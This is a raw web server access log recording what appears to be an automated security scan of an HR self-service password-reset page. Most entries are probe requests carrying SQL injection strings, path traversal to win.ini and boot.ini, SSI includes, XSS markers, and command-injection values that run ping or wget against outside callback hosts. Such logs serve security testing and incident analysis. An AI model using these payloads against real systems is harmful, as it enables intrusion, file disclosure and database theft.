(Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27%3B+select+*+from+sys.dba_users--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27%3B+select+*+from+sys.dba_users--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%27%3B+select+*+from+sys.dba_users--&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:20 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:20 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:21 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:21 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:21 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EWFXSSProbe%3C%2Fstrong%3E&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:21 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:21 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe%22%27%2F%40%3D*%5B%5D%28%29 HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:21 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe%22%27%2F%40%3D*%5B%5D%28%29 HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:21 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%60ping+-c+1+v3-ping-212-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%60 HTTP/1.1" 200 6755 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:21 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%60ping+-c+1+v3-ping-212-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%60 HTTP/1.1" 200 6755 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%257Cwget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D213 HTTP/1.1" 200 6750 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%257Cwget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D213 HTTP/1.1" 200 6750 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS'%20and%20'f'='f HTTP/1.1" 200 6687 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS'%20and%20'f'='f HTTP/1.1" 200 6687 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini%00.html HTTP/1.1" 200 6728 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini%00.html HTTP/1.1" 200 6728 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/boot.ini HTTP/1.1" 200 6837 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/boot.ini HTTP/1.1" 200 6837 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS'%20and%20'f'='f'%20--%20 HTTP/1.1" 200 6692 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS'%20and%20'f'='f'%20--%20 HTTP/1.1" 200 6692 100.64.0.1 - - [05/Dec/2025:21:52:23 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:23 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:23 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe%22%27%2F%40%3D*%5B%5D%28%29" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:23 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:23 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%29%28ping+-c+1+v3-ping-214-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%29 HTTP/1.1" 200 6756 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:23 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%29%28ping+-c+1+v3-ping-214-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%29 HTTP/1.1" 200 6756 100.64.0.1 - - [05/Dec/2025:21:52:23 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:23 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:25 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:25 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%2526wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D215 HTTP/1.1" 200 6750 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%2526wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D215 HTTP/1.1" 200 6750 100.64.0.1 - - [05/Dec/2025:21:52:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini%00.html HTTP/1.1" 200 6730 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini%00.html HTTP/1.1" 200 6730 100.64.0.1 - - [05/Dec/2025:21:52:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%29+having+1%3D1--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%29+having+1%3D1--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%29+having+1%3D1--&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:24 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:24 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/winnt/win.ini HTTP/1.1" 200 6842 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/winnt/win.ini HTTP/1.1" 200 6842 100.64.0.1 - - [05/Dec/2025:21:52:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS'%20and%20'f'='f')%20-- HTTP/1.1" 200 6692 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS'%20and%20'f'='f')%20-- HTTP/1.1" 200 6692 100.64.0.1 - - [05/Dec/2025:21:52:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%3C%21--%23include+file%3D%22C%3A%5Cboot.ini%22--%3E HTTP/1.1" 200 6722 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%3C%21--%23include+file%3D%22C%3A%5Cboot.ini%22--%3E HTTP/1.1" 200 6722 100.64.0.1 - - [05/Dec/2025:21:52:25 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:25 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:26 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/boot.ini%00.html HTTP/1.1" 200 6723 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:26 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/boot.ini%00.html HTTP/1.1" 200 6723 100.64.0.1 - - [05/Dec/2025:21:52:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:26 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/windows/win.ini HTTP/1.1" 200 6844 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:26 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/windows/win.ini HTTP/1.1" 200 6844 100.64.0.1 - - [05/Dec/2025:21:52:26 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:26 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:26 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=(select%20ZHS) HTTP/1.1" 200 6684 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:26 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=(select%20ZHS) HTTP/1.1" 200 6684 100.64.0.1 - - [05/Dec/2025:21:52:27 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:27 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:27 +0800] "GET /ehr/ess/lostpassword.php?scriptname=ProbePhishing&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:27 +0800] "GET /ehr/ess/lostpassword.php?scriptname=ProbePhishing&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini%c0%80.html HTTP/1.1" 200 6748 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini%c0%80.html HTTP/1.1" 200 6748 100.64.0.1 - - [05/Dec/2025:21:52:27 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:27 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%a5'%20having%201=1--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%a5'%20having%201=1--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%a5'%20having%201=1--&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini HTTP/1.1" 200 6717 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini HTTP/1.1" 200 6717 100.64.0.1 - - [05/Dec/2025:21:52:29 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:29 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:28 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:28 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%2560wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D216%2560 HTTP/1.1" 200 6753 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%2560wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D216%2560 HTTP/1.1" 200 6753 100.64.0.1 - - [05/Dec/2025:21:52:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=WFXSSProbe&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" 